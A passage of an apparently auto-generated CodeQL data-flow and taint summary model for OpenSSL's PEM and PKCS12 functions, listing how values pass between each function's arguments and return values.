"Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_CRL", "(BIO *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_PUBKEY", "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_X509_REQ", "(BIO *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[**2]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[*3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_ex", "(BIO *,char **,char **,unsigned char **,long *,unsigned int)", "", "Argument[3]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PEM_write_CMS", "(FILE *,const CMS_ContentInfo *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_DHparams", "(FILE *,const DH *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_DHxparams", "(FILE *,const DH *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_DSAPrivateKey", "(FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_DSAPrivateKey", "(FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_DSAPrivateKey", "(FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_DSA_PUBKEY", "(FILE *,const DSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_DSAparams", "(FILE *,const DSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_ECPKParameters", "(FILE *,const EC_GROUP *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_ECPrivateKey", "(FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_ECPrivateKey", "(FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_ECPrivateKey", "(FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_EC_PUBKEY", "(FILE *,const EC_KEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_NETSCAPE_CERT_SEQUENCE", "(FILE *,const NETSCAPE_CERT_SEQUENCE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PKCS7", "(FILE *,const PKCS7 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PKCS8", "(FILE *,const X509_SIG *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PKCS8PrivateKey", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_PKCS8PrivateKey", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_PKCS8PrivateKey_nid", "(FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_PKCS8PrivateKey_nid", "(FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_PKCS8_PRIV_KEY_INFO", "(FILE *,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PUBKEY", "(FILE *,const EVP_PKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PUBKEY_ex", "(FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PrivateKey", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PrivateKey", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_PrivateKey", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_PrivateKey_ex", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_PrivateKey_ex", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_PrivateKey_ex", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_RSAPrivateKey", "(FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_RSAPrivateKey", "(FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_RSAPrivateKey", "(FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_RSAPublicKey", "(FILE *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_RSA_PUBKEY", "(FILE *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_SSL_SESSION", "(FILE *,const SSL_SESSION *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509", "(FILE *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_ACERT", "(FILE *,const X509_ACERT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_AUX", "(FILE *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_CRL", "(FILE *,const X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_PUBKEY", "(FILE *,const X509_PUBKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_REQ", "(FILE *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_X509_REQ_NEW", "(FILE *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_ASN1_stream", "(BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_ASN1_stream", "(BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_CMS", "(BIO *,const CMS_ContentInfo *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_CMS_stream", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_CMS_stream", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_DHparams", "(BIO *,const DH *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_DHxparams", "(BIO *,const DH *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_DSAPrivateKey", "(BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_DSAPrivateKey", "(BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_DSAPrivateKey", "(BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_DSA_PUBKEY", "(BIO *,const DSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_DSAparams", "(BIO *,const DSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_ECPKParameters", "(BIO *,const EC_GROUP *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_ECPrivateKey", "(BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_ECPrivateKey", "(BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_ECPrivateKey", "(BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_EC_PUBKEY", "(BIO *,const EC_KEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,const NETSCAPE_CERT_SEQUENCE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PKCS7", "(BIO *,const PKCS7 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PKCS7_stream", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PKCS7_stream", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PKCS8", "(BIO *,const X509_SIG *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PKCS8PrivateKey", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PKCS8PrivateKey", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PKCS8PrivateKey_nid", "(BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PKCS8PrivateKey_nid", "(BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PUBKEY", "(BIO *,const EVP_PKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PUBKEY_ex", "(BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_Parameters", "(BIO *,const EVP_PKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_ex", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_ex", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_ex", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_traditional", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_traditional", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_traditional", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_RSAPrivateKey", "(BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_RSAPrivateKey", "(BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_RSAPrivateKey", "(BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_RSAPublicKey", "(BIO *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_RSA_PUBKEY", "(BIO *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_SSL_SESSION", "(BIO *,const SSL_SESSION *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509", "(BIO *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_ACERT", "(BIO *,const X509_ACERT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_AUX", "(BIO *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_CRL", "(BIO *,const X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_PUBKEY", "(BIO *,const X509_PUBKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_REQ", "(BIO *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_REQ_NEW", "(BIO *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS12_BAGS_free", "(PKCS12_BAGS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_BAGS_free", "(PKCS12_BAGS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS12_MAC_DATA_free", "(PKCS12_MAC_DATA *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_MAC_DATA_free", "(PKCS12_MAC_DATA *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[4]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[4]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create0_p8inf", "(PKCS8_PRIV_KEY_INFO *)", "", "Argument[*0]", "ReturnValue[*].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create0_p8inf", "(PKCS8_PRIV_KEY_INFO *)", "", "Argument[0]", "ReturnValue[*].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create0_pkcs8", "(X509_SIG *)", "", "Argument[*0]", "ReturnValue[*].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create0_pkcs8", "(X509_SIG *)", "", "Argument[0]", "ReturnValue[*].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create_cert", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create_crl", "(X509_CRL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create_pkcs8_encrypt", "(int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)", "", "Argument[*6]", "Argument[6]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create_pkcs8_encrypt_ex", "(int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "Argument[6]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_free", "(PKCS12_SAFEBAG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_free", "(PKCS12_SAFEBAG *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_attrs", "(const PKCS12_SAFEBAG *)", "", "Argument[*0].Field[**attrib]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_attrs", "(const PKCS12_SAFEBAG *)", "", "Argument[*0].Field[*attrib]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_p8inf", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_p8inf", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_pkcs8", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_pkcs8", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_safes", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_safes", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_type", "(const PKCS12_SAFEBAG *)", "", "Argument[*0].Field[**type]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_type", "(const PKCS12_SAFEBAG *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - 